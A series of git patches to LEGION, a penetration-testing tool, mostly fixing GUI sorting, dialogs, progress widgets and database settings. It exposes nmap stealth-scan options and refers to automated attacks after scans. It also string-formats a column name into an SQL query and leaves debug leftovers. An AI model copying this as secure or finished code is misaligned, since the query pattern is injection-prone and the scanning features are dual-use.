self.setMainWindowTitle(self.controller.name + ' ' + self.controller.getVersion() + ' - ' + title + ' - ' + self.controller.getCWD()) #################### ACTIONS #################### @@ -443,18 +435,19 @@ def importNmap(self): return self.importProgressWidget.reset('Importing nmap..') + self.importProgressWidget.show() self.controller.nmapImporter.setFilename(str(filename)) self.controller.nmapImporter.start() self.controller.copyNmapXMLToOutputFolder(str(filename)) - self.importProgressWidget.show() + #self.importProgressWidget.show() else: log.info('No file chosen..') ### - #def connectSettings(self): - # self.ui.actionSettings.triggered.connect(self.showSettingsWidget) + def connectSettings(self): + self.ui.actionSettings.triggered.connect(self.showSettingsWidget) def showSettingsWidget(self): self.settingsWidget.resetTabIndexes() @@ -469,10 +462,10 @@ def cancelSettings(self): log.info('DEBUG: cancel button pressed') # LEO: we can use this later to test ESC button once implemented. self.settingsWidget.hide() self.controller.cancelSettings() - + def connectHelp(self): - self.ui.menuHelp.triggered.connect(self.helpWidget.show) - pass + self.ui.menuHelp.triggered.connect(self.helpDialog.show) + #self.helpDialog.cmdOkButton.clicked.connect(self.helpDialog.close) ### From fca16952ba691b2911267cfdb622b053ff8bbbc0 Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Wed, 13 Feb 2019 18:19:45 -0600 Subject: [PATCH 112/450] Fix help/about dialog --- .justcloned | 0 1 file changed, 0 insertions(+), 0 deletions(-) create mode 100644 .justcloned diff --git a/.justcloned b/.justcloned new file mode 100644 index 00000000..e69de29b From 6cacc80e545826705c1daed667addf481b58d6d8 Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Wed, 13 Feb 2019 19:45:44 -0600 Subject: [PATCH 113/450] Fixed process view sorting --- app/logic.py | 4 ++-- app/processmodels.py | 7 ++++++- controller/controller.py | 6 +++--- ui/view.py | 5 ++++- 4 files changed, 15 insertions(+), 7 deletions(-) diff --git a/app/logic.py b/app/logic.py index 6bbc1f90..b30c90a0 100644 --- a/app/logic.py +++ b/app/logic.py @@ -349,7 +349,7 @@ def getHostsAndPortsForServiceFromDB(self, serviceName, filters): # this function returns all the processes from the DB # the showProcesses flag is used to ensure we don't display processes in the process table after we have cleared them or when an existing project is opened. # to speed up the queries we replace the columns we don't need by zeros (the reason we need all the columns is we are using the same model to display process information everywhere) - def getProcessesFromDB(self, filters, showProcesses=''): + def getProcessesFromDB(self, filters, showProcesses='', sort = 'desc', ncol = 'id'): if showProcesses == '': # we do not fetch nmap processes because these are not displayed in the host tool tabs / tools query = ('SELECT "0", "0", "0", process.name, "0", "0", "0", "0", "0", "0", "0", "0", "0", "0", "0" FROM process AS process WHERE process.closed="False" AND process.name!="nmap" group by process.name') result = self.db.metadata.bind.execute(query).fetchall() @@ -361,7 +361,7 @@ def getProcessesFromDB(self, filters, showProcesses=''): result = self.db.metadata.bind.execute(query, str(showProcesses)).fetchall() else: # show all the processes in the (bottom) process table (no matter their closed value) - query = ('SELECT * FROM process AS process WHERE process.display=? order by id desc') + query = ('SELECT * FROM process AS process WHERE process.display=? order by {0} {1}'.format(ncol, sort)) result = self.db.metadata.bind.execute(query, str(showProcesses)).fetchall() return result diff --git a/app/processmodels.py b/app/processmodels.py index 97aa8371..a941b6a0 100644 --- a/app/processmodels.py +++ b/app/processmodels.py @@ -95,6 +95,7 @@ def sort(self, Ncol, order): array=[] sortColumns = {5:'name', 6:'tabtitle', 11:'starttime', 12:'endtime'} + field = sortColumns.get(int(Ncol)) or 'status' if Ncol == 7: for i in range(len(self.__processes)): @@ -107,7 +108,6 @@ def sort(self, Ncol, order): else: array.append(int(self.__processes[i]['port'])) else: - field = sortColumns.get(int(Ncol)) or 'status' for i in range(len(self.__processes)): array.append(self.__processes[i][field]) @@ -115,6 +115,11 @@ def sort(self, Ncol, order): if order == Qt.AscendingOrder: # reverse if needed self.__processes.reverse() + self.__controller.processesTableViewSort = 'desc' + else: + self.__controller.processesTableViewSort = 'asc' + + self.__controller.processesTableViewSortColumn = field self.__controller.updateProcessesIcon() # to make sure the progress GIF is displayed in the right place diff --git a/controller/controller.py b/controller/controller.py index 7f4604c8..47e62858 100644 --- a/controller/controller.py +++ b/controller/controller.py @@ -509,13 +509,13 @@ def getScriptOutputFromDB(self,scriptDBId): def getNoteFromDB(self, hostid): return self.logic.getNoteFromDB(hostid) - def getHostsForTool(self, toolname, closed='False'): + def getHostsForTool(self, toolname, closed = 'False'): return self.logic.getHostsForTool(toolname, closed) #################### BOTTOM PANEL INTERFACE UPDATE FUNCTIONS #################### - def getProcessesFromDB(self, filters, showProcesses=''): - return self.logic.getProcessesFromDB(filters, showProcesses) + def getProcessesFromDB(self, filters, showProcesses = '', sort = 'desc', ncol = 'id'): + return self.logic.getProcessesFromDB(filters, showProcesses, sort, ncol) #################### PROCESSES #################### diff --git a/ui/view.py b/ui/view.py index e6178b52..5f5f35df 100644 --- a/ui/view.py +++ b/ui/view.py @@ -42,6 +42,8 @@ def __init__(self, ui, ui_mainwindow): self.ui_mainwindow.setGeometry(0, 30, 1024, 768) # align window to topleft corner and set default size self.ui.splitter_2.setSizes([300, 10]) # set better default size for bottom panel self.qss = None + self.processesTableViewSort = 'desc' + self.processesTableViewSortColumn = 'id' ## Calling these remotely from controller after it initalizes #self.startOnce() # initialisations that happen only once, when the SPARTA is launched @@ -199,6 +201,7 @@ def initTables(self): # this funct # process table headers = ["Progress", "Elapsed", "Est. Remaining", "Display", "Pid", "Name", "Tool", "Host", "Port", "Protocol", "Command", "Start time", "OutputFile", "Output", "Status"] setTableProperties(self.ui.ProcessesTableView, len(headers), [1, 2, 3, 4, 5, 8, 9, 10, 13, 14, 16]) + self.ui.ProcessesTableView.setSortingEnabled(True) self.ui.ProcessesTableView.horizontalHeader().resizeSection(0, 125) self.ui.ProcessesTableView.horizontalHeader().resizeSection(4, 250) @@ -1136,7 +1139,7 @@ def displayAddHostsOverlay(self, display=False): def updateProcessesTableView(self): headers = ["Progress", "Display", "Elapsed", "Est. Remaining", "Pid", "Name", "Tool", "Host", "Port", "Protocol", "Command", "Start time", "End time", "OutputFile", "Output", "Status", "Closed"] - self.ProcessesTableModel = ProcessesTableModel(self,self.controller.getProcessesFromDB(self.filters, True), headers) + self.ProcessesTableModel = ProcessesTableModel(self,self.controller.getProcessesFromDB(self.filters, True, sort = self.processesTableViewSort, ncol = self.processesTableViewSortColumn), headers) self.ui.ProcessesTableView.setModel(self.ProcessesTableModel) for i in [1, 5, 8, 9, 10, 13, 14, 16]: From a36eb008d76184101ef541e9f63f22be38fa1c16 Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Wed, 13 Feb 2019 21:39:18 -0600 Subject: [PATCH 114/450] Fix processTableView update issues --- app/processmodels.py | 10 ++++++++-- ui/view.py | 23 +++++++++++++---------- 2 files changed, 21 insertions(+), 12 deletions(-) diff --git a/app/processmodels.py b/app/processmodels.py index a941b6a0..19878ce2 100644 --- a/app/processmodels.py +++ b/app/processmodels.py @@ -121,13 +121,19 @@ def sort(self, Ncol, order): self.__controller.processesTableViewSortColumn = field - self.__controller.updateProcessesIcon() # to make sure the progress GIF is displayed in the right place - + ## Extra? + #self.__controller.updateProcessesIcon() # to make sure the progress GIF is displayed in the right place self.layoutChanged.emit() def flags(self, index): # method that allows views to know how to treat each item, eg: if it should be enabled, editable, selectable etc return QtCore.Qt.ItemIsEnabled | QtCore.Qt.ItemIsSelectable + def setDataList(self, processes): + self.__processes = processes + self.layoutAboutToBeChanged.emit() + self.dataChanged.emit(self.createIndex(0, 0), self.createIndex(self.rowCount(0), self.columnCount(0))) + self.layoutChanged.emit() + ### getter functions ### def getProcessPidForRow(self, row): diff --git a/ui/view.py b/ui/view.py index 5f5f35df..213cf76f 100644 --- a/ui/view.py +++ b/ui/view.py @@ -90,6 +90,8 @@ def start(self, title='*untitled'): self.lazy_update_tools = False self.menuVisible = False # to know if a context menu is showing (important to avoid disrupting the user) self.ProcessesTableModel = None # fixes bug when sorting processes for the first time + ## Poop + self.setupProcessesTableView() self.setMainWindowTitle(title) self.ui.statusbar.showMessage('Starting up..', msecs=1000) @@ -1136,22 +1138,23 @@ def displayAddHostsOverlay(self, display=False): self.ui.HostsTableView.show() #################### BOTTOM PANEL INTERFACE UPDATE FUNCTIONS #################### - - def updateProcessesTableView(self): + + def setupProcessesTableView(self): headers = ["Progress", "Display", "Elapsed", "Est. Remaining", "Pid", "Name", "Tool", "Host", "Port", "Protocol", "Command", "Start time", "End time", "OutputFile", "Output", "Status", "Closed"] self.ProcessesTableModel = ProcessesTableModel(self,self.controller.getProcessesFromDB(self.filters, True, sort = self.processesTableViewSort, ncol = self.processesTableViewSortColumn), headers) self.ui.ProcessesTableView.setModel(self.ProcessesTableModel) + def updateProcessesTableView(self): + headers = ["Progress", "Display", "Elapsed", "Est. Remaining", "Pid", "Name", "Tool", "Host", "Port", "Protocol", "Command", "Start time", "End time", "OutputFile", "Output", "Status", "Closed"] + self.ProcessesTableModel.setDataList(self.controller.getProcessesFromDB(self.filters, True, sort = self.processesTableViewSort, ncol = self.processesTableViewSortColumn)) + self.ui.ProcessesTableView.repaint() + self.ui.ProcessesTableView.update() + for i in [1, 5, 8, 9, 10, 13, 14, 16]: self.ui.ProcessesTableView.setColumnHidden(i, True) - - ## Force resize - #self.ui.ProcessesTableView.horizontalHeader().resizeSection(0,125) - #self.ui.ProcessesTableView.horizontalHeader().resizeSection(3,165) - #self.ui.ProcessesTableView.horizontalHeader().resizeSection(6,210) - #self.ui.ProcessesTableView.horizontalHeader().resizeSection(7,135) - #self.ui.ProcessesTableView.horizontalHeader().resizeSection(11,165) - #self.ui.ProcessesTableView.horizontalHeader().resizeSection(12,165) + + # Force size of progress animation + self.ui.ProcessesTableView.horizontalHeader().resizeSection(0,125) self.updateProcessesIcon() def updateProcessesIcon(self): From af0ef403918d853d841b387f11080f9f68dd872a Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Tue, 19 Feb 2019 11:54:27 -0600 Subject: [PATCH 115/450] UI tweaks, DB tweaks --- db/database.py | 5 +++-- ui/addHostDialog.py | 17 +++++++++++------ 2 files changed, 14 insertions(+), 8 deletions(-) diff --git a/db/database.py b/db/database.py index 81f35ed3..7d691070 100644 --- a/db/database.py +++ b/db/database.py @@ -18,6 +18,7 @@ from sqlalchemy.orm import relationship, backref, sessionmaker from sqlalchemy.orm.scoping import scoped_session from sqlalchemy.ext.declarative import declarative_base +from sqlalchemy.pool import SingletonThreadPool from six import u as unicode @@ -240,7 +241,7 @@ def __init__(self, dbfilename): try: self.name = dbfilename self.dbsemaphore = QSemaphore(1) # to control concurrent write access to db - self.engine = create_engine('sqlite:///{dbFileName}'.format(dbFileName = dbfilename)) + self.engine = create_engine('sqlite:///{dbFileName}'.format(dbFileName = dbfilename), poolclass=SingletonThreadPool) self.session = scoped_session(sessionmaker()) self.session.configure(bind = self.engine, autoflush=False) self.metadata = Base.metadata @@ -255,7 +256,7 @@ def openDB(self, dbfilename): try: self.name = dbfilename self.dbsemaphore = QSemaphore(1) # to control concurrent write access to db - self.engine = create_engine('sqlite:///{dbFileName}'.format(dbFileName = dbfilename)) + self.engine = create_engine('sqlite:///{dbFileName}'.format(dbFileName = dbfilename), poolclass=SingletonThreadPool) self.session = scoped_session(sessionmaker()) self.session.configure(bind = self.engine, autoflush=False) self.metadata = Base.metadata diff --git a/ui/addHostDialog.py b/ui/addHostDialog.py index e60a8a25..f94a3525 100644 --- a/ui/addHostDialog.py +++ b/ui/addHostDialog.py @@ -28,7 +28,7 @@ def __init__(self, parent=None): def setupLayout(self): self.setModal(True) self.setWindowTitle('Add host(s) to scan seperated by semicolons') - self.setFixedSize(480, 500) + self.setFixedSize(700, 700) self.formLayout = QtWidgets.QVBoxLayout() @@ -93,6 +93,7 @@ def setupLayout(self): self.grpScanTimingControlWidgets = QtWidgets.QHBoxLayout() self.grpScanTimingLabelWidgets = QtWidgets.QHBoxLayout() self.grpScanTiming.setTitle('Timing and Performance Options') + self.grpScanTimingSpacer = QSpacerItem(5,5) self.lblScanTimingLabel0 = QtWidgets.QLabel() self.lblScanTimingLabel1 = QtWidgets.QLabel() self.lblScanTimingLabel2 = QtWidgets.QLabel() @@ -116,6 +117,7 @@ def setupLayout(self): self.sldScanTimingSlider.setSingleStep(1) self.sldScanTimingSlider.setValue(4) self.grpScanTimingControlWidgets.addWidget(self.sldScanTimingSlider) + self.grpScanTimingControlWidgets.addItem(self.grpScanTimingSpacer) self.grpScanTimingLabelWidgets.addWidget(self.lblScanTimingLabel0) self.grpScanTimingLabelWidgets.addWidget(self.lblScanTimingLabel1) self.grpScanTimingLabelWidgets.addWidget(self.lblScanTimingLabel2) @@ -211,27 +213,29 @@ def setupLayout(self): self.rdoScanOptPingSyn.toggle() self.grpScanOptPing.setEnabled(False) + self.spacer6 = QSpacerItem(5,5) + # Custom scan options self.scanOptCustomGroup = QtWidgets.QGroupBox() self.scanOptCustomGroupWidgets = QtWidgets.QHBoxLayout() self.scanOptCustomGroup.setTitle('Custom Options') self.lblCustomOpt = QtWidgets.QLabel(self) self.lblCustomOpt.setText('Additional arguments') - self.txtCustomOptList = QtWidgets.QPlainTextEdit(self) - self.txtCustomOptList.setPlainText("-sV -O") + self.txtCustomOptList = QtWidgets.QLineEdit(self) + self.txtCustomOptList.setText("-sV -O") self.scanOptCustomGroupWidgets.addWidget(self.lblCustomOpt) self.scanOptCustomGroupWidgets.addWidget(self.txtCustomOptList) self.scanOptCustomGroup.setLayout(self.scanOptCustomGroupWidgets) self.scanOptCustomGroup.setEnabled(False) + self.cmdAddButton = QPushButton('Submit', self) + self.cmdAddButton.setMaximumSize(160, 70) self.cmdCancelButton = QPushButton('Cancel', self) self.cmdCancelButton.setMaximumSize(110, 30) - self.cmdAddButton = QPushButton('Add host(s) to scan', self) - self.cmdAddButton.setMaximumSize(110, 30) self.cmdAddButton.setDefault(True) self.hlayout2 = QtWidgets.QHBoxLayout() - self.hlayout2.addWidget(self.cmdCancelButton) self.hlayout2.addWidget(self.cmdAddButton) + self.hlayout2.addWidget(self.cmdCancelButton) self.formLayout.addLayout(self.hlayout) self.formLayout.addWidget(self.lblHostExample) @@ -247,6 +251,7 @@ def setupLayout(self): self.formLayout.addWidget(self.grpScanOpt) self.formLayout.addItem(self.spacer3) self.formLayout.addWidget(self.grpScanOptPing) + self.formLayout.addItem(self.spacer6) self.formLayout.addWidget(self.scanOptCustomGroup) self.formLayout.addItem(self.spacer4) self.formLayout.addLayout(self.hlayout2) From 5aaee06221d422e7d837b0600a8a003058e461ca Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Tue, 19 Feb 2019 12:29:04 -0600 Subject: [PATCH 116/450] Add close button to addHost dialog, Adjust some sizes --- ui/addHostDialog.py | 3 +++ ui/gui.py | 2 +- 2 files changed, 4 insertions(+), 1 deletion(-) diff --git a/ui/addHostDialog.py b/ui/addHostDialog.py index f94a3525..c37a49d9 100644 --- a/ui/addHostDialog.py +++ b/ui/addHostDialog.py @@ -28,6 +28,9 @@ def __init__(self, parent=None): def setupLayout(self): self.setModal(True) self.setWindowTitle('Add host(s) to scan seperated by semicolons') + flags = Qt.Window | Qt.WindowSystemMenuHint | Qt.WindowMinimizeButtonHint | Qt.WindowMaximizeButtonHint | Qt.WindowCloseButtonHint + self.setWindowFlags(flags) + self.setFixedSize(700, 700) self.formLayout = QtWidgets.QVBoxLayout() diff --git a/ui/gui.py b/ui/gui.py index 244a4860..68d19e31 100644 --- a/ui/gui.py +++ b/ui/gui.py @@ -26,7 +26,7 @@ class Ui_MainWindow(object): def setupUi(self, MainWindow): MainWindow.setObjectName(_fromUtf8("MainWindow")) - MainWindow.resize(1010, 754) + MainWindow.resize(2000, 800) self.centralwidget = QtWidgets.QWidget(MainWindow) self.centralwidget.setObjectName(_fromUtf8("centralwidget")) # do not change this name From e8feb91c5442783a5c296348f6847dcf959a0fe5 Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Tue, 19 Feb 2019 18:01:21 -0600 Subject: [PATCH 117/450] Fix \n on hostList input --- ui/view.py | 10 +++++++++- 1 file changed, 9 insertions(+), 1 deletion(-) diff --git a/ui/view.py b/ui/view.py index 213cf76f..64b261f8 100644 --- a/ui/view.py +++ b/ui/view.py @@ -398,7 +398,15 @@ def callAddHosts(self): if validateNmapInput(hostListStr): self.adddialog.close() - hostList = hostListStr.split(' ') + hostList = [] + splitTypes = [';', ' ', '\n'] + + for splitType in splitTypes: + hostListStr = hostListStr.replace(splitType, ';') + + hostList = hostListStr.split(';') + hostList = [hostEntry for hostEntry in hostList if len(hostEntry) > 0] + hostAddOptionControls = [self.adddialog.rdoScanOptTcpConnect, self.adddialog.rdoScanOptSynStealth, self.adddialog.rdoScanOptFin, self.adddialog.rdoScanOptNull, self.adddialog.rdoScanOptXmas, self.adddialog.rdoScanOptPingTcp, self.adddialog.rdoScanOptPingUdp, self.adddialog.rdoScanOptPingDisable, self.adddialog.rdoScanOptPingRegular, self.adddialog.rdoScanOptPingSyn, self.adddialog.rdoScanOptPingAck, self.adddialog.rdoScanOptPingTimeStamp, self.adddialog.rdoScanOptPingNetmask, self.adddialog.chkScanOptFragmentation] nmapOptions = [] From 696cc63e3e904de8ec0cccb84f6177b01ea2cc3b Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Fri, 22 Feb 2019 10:28:32 -0600 Subject: [PATCH 118/450] Lots of bug fixes, move logs to log, center window, eliminate draw operations, etc --- app/auxiliary.py | 2 +- app/logic.py | 56 ++++++++++++++++++++------- app/processmodels.py | 59 +++++++++++++++++----------- controller/controller.py | 39 +++++++++++++------ db/database.py | 31 +++++++++++++-- legion.py | 10 +++++ precommit.sh | 18 +++++++++ scripts/fingertool.sh | 30 +++++++++++++++ startLegion.sh | 1 + ui/ancillaryDialog.py | 7 +++- ui/gui.py | 11 ++---- ui/helpDialog.py | 7 ++-- ui/view.py | 81 ++++++++++++++++----------------------- utilities/stenoLogging.py | 9 +++-- 14 files changed, 245 insertions(+), 116 deletions(-) create mode 100644 precommit.sh create mode 100644 scripts/fingertool.sh diff --git a/app/auxiliary.py b/app/auxiliary.py index 595d5fac..b4998eb7 100644 --- a/app/auxiliary.py +++ b/app/auxiliary.py @@ -30,7 +30,7 @@ from time import time import io -log = get_logger('legion', path="legion.log") +log = get_logger('legion', path="./log/legion.log", console = False) log.setLevel(logging.INFO) def timing(f): diff --git a/app/logic.py b/app/logic.py index b30c90a0..991a52b5 100644 --- a/app/logic.py +++ b/app/logic.py @@ -17,6 +17,7 @@ from parsers.Parser import * from db.database import * from app.auxiliary import * +from ui.ancillaryDialog import * from six import u as unicode class Logic(): @@ -412,6 +413,8 @@ def addProcessToDB(self, proc): return p.id def addScreenshotToDB(self, ip, port, filename): + ## POOP ## + return 0 p_output = process_output() # add row to process_output table (separate table for performance reasons) p = process(0, "screenshooter", "screenshot ("+str(port)+"/tcp)", str(ip), str(port), "tcp", "", getTimestamp(True), getTimestamp(True), str(filename), "Finished", p_output, 2, 0) session = self.db.session() @@ -558,6 +561,7 @@ class NmapImporter(QtCore.QThread): def __init__(self): QtCore.QThread.__init__(self, parent=None) self.output = '' + self.importProgressWidget = ProgressWidget('Importing nmap..') def tsLog(self, msg): self.log.emit(str(msg)) @@ -624,6 +628,7 @@ def getCve(self, product, version): def run(self): # it is necessary to get the qprocess because we need to send it back to the scheduler when we're done importing try: + self.importProgressWidget.show() session = self.db.session() self.tsLog("Parsing nmap xml file: " + self.filename) starttime = time() @@ -644,10 +649,16 @@ def run(self): # it is nece hostCount = len(parser.all_hosts()) if hostCount==0: # to fix a division by zero if we ran nmap on one host hostCount=1 - progress = 100.0 / hostCount + #progress = 100.0 / hostCount totalprogress = 0 - self.tick.emit(int(totalprogress)) - + #self.tick.emit(int(totalprogress)) + self.importProgressWidget.setProgress(int(totalprogress)) + self.importProgressWidget.show() + + createProgress = 0 + createOsNodesProgress = 0 + createPortsProgress = 0 + for h in parser.all_hosts(): # create all the hosts that need to be created db_host = session.query(nmap_host).filter_by(ip=h.ip).first() @@ -659,6 +670,11 @@ def run(self): # it is nece session.add(t_note) else: self.tsLog("Found db_host already in db") + createProgress = createProgress + ((100.0 / hostCount) / 5) + totalprogress = totalprogress + createProgress + #self.tick.emit(int(totalprogress)) + self.importProgressWidget.setProgress(int(totalprogress)) + self.importProgressWidget.show() session.commit() @@ -685,12 +701,18 @@ def run(self): # it is nece print(os.generation) print(os.os_type) print(os.vendor) - osCves = self.getCveFuzzy(os.name) - print(osCves) - for osCve in osCves: - t_cve = cve(name = osCve, url = "http://test", criteria = 'crit:test', fingerprint = 'fing:test') - session.add(t_cve) - t_cve = None + ## CVE + #osCves = self.getCveFuzzy(os.name) + #print(osCves) + #for osCve in osCves: + # t_cve = cve(name = osCve, url = "http://test", criteria = 'crit:test', fingerprint = 'fing:test') + # session.add(t_cve) + # t_cve = None + createOsNodesProgress = createOsNodesProgress + ((100.0 / hostCount) / 5) + totalprogress = totalprogress + createOsNodesProgress + #self.tick.emit(int(totalprogress)) + self.importProgressWidget.setProgress(int(totalprogress)) + self.importProgressWidget.show() all_ports = h.all_ports() self.tsLog(" 'ports' to process: {all_ports}".format(all_ports=str(len(all_ports)))) @@ -717,11 +739,16 @@ def run(self): # it is nece else: db_port = nmap_port(p.portId, p.protocol, p.state, db_host.id, '') session.add(db_port) + createPortsProgress = createPortsProgress + ((100.0 / hostCount) / 5) + totalprogress = totalprogress + createPortsProgress + #self.tick.emit(int(totalprogress)) + self.importProgressWidget.setProgress(totalprogress) + self.importProgressWidget.show() session.commit() - totalprogress += progress - self.tick.emit(int(totalprogress)) + #totalprogress += progress + #self.tick.emit(int(totalprogress)) for h in parser.all_hosts(): # create all script objects that need to be created @@ -821,13 +848,16 @@ def run(self): # it is nece session.add(db_script) - totalprogress += progress - self.tick.emit(int(totalprogress)) + totalprogress = 100 + #self.tick.emit(int(totalprogress)) + self.importProgressWidget.setProgress(int(totalprogress)) + self.importProgressWidget.show() session.commit() self.db.dbsemaphore.release() # we are done with the DB self.tsLog('Finished in '+ str(time()-starttime) + ' seconds.') self.done.emit() + self.importProgressWidget.hide() self.schedule.emit(parser, self.output == '') # call the scheduler (if there is no terminal output it means we imported nmap) except Exception as e: diff --git a/app/processmodels.py b/app/processmodels.py index 19878ce2..52597731 100644 --- a/app/processmodels.py +++ b/app/processmodels.py @@ -55,6 +55,8 @@ def data(self, index, role): # this metho row = index.row() column = index.column() processColumns = {0:'progress', 1:'display', 2:'elapsed', 3:'estimatedremaining', 4:'pid', 5:'name', 6:'tabtitle', 7:'hostip', 8:'port', 9:'protocol', 10:'command', 11:'starttime', 12:'endtime', 13:'outputfile', 14:'output', 15:'status', 16:'closed'} + #print(str(column)) + #print(str(self.__processes[row])) try: if column == 0: value = '' @@ -84,10 +86,19 @@ def data(self, index, role): # this metho elif column == 16: value = "" else: - value = self.__processes[row][processColumns.get(int(column))] + try: + #print(self.__processes[row]) + #print(processColumns.get(int(column))) + value = self.__processes[row][processColumns.get(int(column))] + except: + value = 'missing' + pass except Exception as e: + print(str(column)) print(str(self.__processes[row])) print(str(e)) + print("HA!") + value = "ha" return value def sort(self, Ncol, order): @@ -97,33 +108,37 @@ def sort(self, Ncol, order): sortColumns = {5:'name', 6:'tabtitle', 11:'starttime', 12:'endtime'} field = sortColumns.get(int(Ncol)) or 'status' - if Ncol == 7: - for i in range(len(self.__processes)): - array.append(IP2Int(self.__processes[i]['hostip'])) - - elif Ncol == 8: - for i in range(len(self.__processes)): - if self.__processes[i]['port'] == '': - return - else: - array.append(int(self.__processes[i]['port'])) - else: - for i in range(len(self.__processes)): - array.append(self.__processes[i][field]) + try: + if Ncol == 7: + for i in range(len(self.__processes)): + array.append(IP2Int(self.__processes[i]['hostip'])) + + elif Ncol == 8: + for i in range(len(self.__processes)): + if self.__processes[i]['port'] == '': + return + else: + array.append(int(self.__processes[i]['port'])) + else: + for i in range(len(self.__processes)): + array.append(self.__processes[i][field]) - sortArrayWithArray(array, self.__processes) # sort the services based on the values in the array + sortArrayWithArray(array, self.__processes) # sort the services based on the values in the array - if order == Qt.AscendingOrder: # reverse if needed - self.__processes.reverse() - self.__controller.processesTableViewSort = 'desc' - else: - self.__controller.processesTableViewSort = 'asc' + if order == Qt.AscendingOrder: # reverse if needed + self.__processes.reverse() + self.__controller.processesTableViewSort = 'desc' + else: + self.__controller.processesTableViewSort = 'asc' - self.__controller.processesTableViewSortColumn = field + self.__controller.processesTableViewSortColumn = field ## Extra? #self.__controller.updateProcessesIcon() # to make sure the progress GIF is displayed in the right place - self.layoutChanged.emit() + self.layoutChanged.emit() + except: + log.error("Failed to sort") + pass def flags(self, index): # method that allows views to know how to treat each item, eg: if it should be enabled, editable, selectable etc return QtCore.Qt.ItemIsEnabled | QtCore.Qt.ItemIsSelectable diff --git a/controller/controller.py b/controller/controller.py index 47e62858..d46a1aea 100644 --- a/controller/controller.py +++ b/controller/controller.py @@ -28,10 +28,11 @@ class Controller(): def __init__(self, view, logic): self.name = "LEGION" self.version = '0.3.0' + self.build = '1550852816' self.author = 'GoVanguard' self.copyright = '2019' self.emails = ['hello@gvit.com'] - self.update = '02/16/2019' + self.update = '02/22/2019' self.license = "GPL v3" self.desc = "LEGION is a semi-automated intelligence gathering tool for penetration testing." self.smallIcon = './images/icons/Legion-N_128x128.svg' @@ -64,7 +65,9 @@ def start(self, title='*untitled'): def initNmapImporter(self): self.nmapImporter = NmapImporter() - self.nmapImporter.tick.connect(self.view.importProgressWidget.setProgress) # update the progress bar + # Disabled - This does not work + # self.nmapImporter.tick.connect(self.view.importProgressWidget.setProgress) # update the progress bar + # self.nmapImporter.tick.connect(lambda: print("progress---------------")) self.nmapImporter.done.connect(self.nmapImportFinished) self.nmapImporter.schedule.connect(self.scheduler) # run automated attacks self.nmapImporter.log.connect(self.view.ui.LogOutputTextView.append) @@ -90,7 +93,10 @@ def initTimers(self): # these time self.processTableUiUpdateTimer = QTimer() self.processTableUiUpdateTimer.timeout.connect(self.view.updateProcessesTableView) - self.processTableUiUpdateTimer.start(1000) # Faster than this doesn't make anything smoother + #self.processTableUiUpdateTimer.start(1000) # Faster than this doesn't make anything smoother + + #self.importDialogUpdateTimer = QTimer() + #self.importDialogUpdateTimer.timeout.connect(self.view.importProgressWidget.show) # this function fetches all the settings from the conf file. Among other things it populates the actions lists that will be used in the context menus. def loadSettings(self): @@ -127,7 +133,7 @@ def getProjectName(self): return self.logic.projectname def getVersion(self): - return self.version + return (self.version + "-" + self.build) def getRunningFolder(self): return self.logic.runningfolder @@ -525,6 +531,7 @@ def checkProcessQueue(self): log.debug('# Fast processes queued: ' + str(self.fastProcessQueue.qsize())) if not self.fastProcessQueue.empty(): + self.processTableUiUpdateTimer.start(1000) if (self.fastProcessesRunning < int(self.settings.general_max_fast_processes)): next_proc = self.fastProcessQueue.get() if not self.logic.isCanceledProcess(str(next_proc.id)): @@ -539,6 +546,9 @@ def checkProcessQueue(self): elif not self.fastProcessQueue.empty(): log.debug('> next process was canceled, checking queue again..') self.checkProcessQueue() + else: + log.info("Halting process panel update timer as all processes are finished.") + self.processTableUiUpdateTimer.stop() def cancelProcess(self, dbId): log.info('Canceling process: ' + str(dbId)) @@ -604,8 +614,9 @@ def handleProcUpdate(*vargs): self.checkProcessQueue() - self.updateUITimer.stop() # update the processes table - self.updateUITimer.start(900) # while the process is running, when there's output to read, display it in the GUI + ## Not needed? poop + #self.updateUITimer.stop() # update the processes table + #self.updateUITimer.start(900) # while the process is running, when there's output to read, display it in the GUI qProcess.setProcessChannelMode(QtCore.QProcess.MergedChannels) qProcess.readyReadStandardOutput.connect(lambda: qProcess.display.appendPlainText(str(qProcess.readAllStandardOutput().data().decode('ISO-8859-1')))) @@ -691,7 +702,9 @@ def runStagedNmap(self, targetHosts, discovery = True, stage = 1, stop = False): def nmapImportFinished(self): self.updateUI2Timer.stop() self.updateUI2Timer.start(800) - self.view.importProgressWidget.hide() # hide the progress widget + # Disabled - This does not work + #self.importDialogUpdateTimer.stop() + #self.view.importProgressWidget.hide() # hide the progress widget self.view.displayAddHostsOverlay(False) # if nmap import was the first action, we need to hide the overlay (note: we shouldn't need to do this everytime. this can be improved) def screenshotFinished(self, ip, port, filename): @@ -722,11 +735,14 @@ def processFinished(self, qProcess): if qProcess.exitCode() == 0: # if the process finished successfully newoutputfile = qProcess.outputfile.replace(self.logic.runningfolder, self.logic.outputfolder) self.nmapImporter.setFilename(str(newoutputfile)+'.xml') - self.view.importProgressWidget.reset('Importing nmap..') + # Disabled - Does not work + #self.view.importProgressWidget.reset('Importing nmap..') + #self.importDialogUpdateTimer.start(100) self.nmapImporter.setOutput(str(qProcess.display.toPlainText())) self.nmapImporter.start() - if self.view.menuVisible == False: - self.view.importProgressWidget.show() + # Moved into NmapImporter class + #if self.view.menuVisible == False: + # self.view.importProgressWidget.show() if qProcess.exitCode() != 0: log.info("Process {qProcessId} exited with code {qProcessExitCode}".format(qProcessId=qProcess.id, qProcessExitCode=qProcess.exitCode())) self.processCrashed(qProcess) @@ -744,7 +760,8 @@ def processFinished(self, qProcess): self.checkProcessQueue() self.processes.remove(qProcess) self.updateUITimer.stop() - self.updateUITimer.start(1500) # update the interface soon + self.updateUITimer.start(500) # update the interface soon + # poop except Exception as e: log.info("Process Finished Cleanup Exception {e}".format(e=e)) diff --git a/db/database.py b/db/database.py index 7d691070..ceb1e81d 100644 --- a/db/database.py +++ b/db/database.py @@ -11,8 +11,13 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . ''' +from utilities.stenoLogging import * +log = get_logger('legion', path="./log/legion-db.log", console=False) +log.setLevel(logging.INFO) + from PyQt5.QtCore import QSemaphore import time +from random import randint from sqlalchemy import Column, DateTime, String, Integer, ForeignKey, func, create_engine, Table from sqlalchemy.orm import relationship, 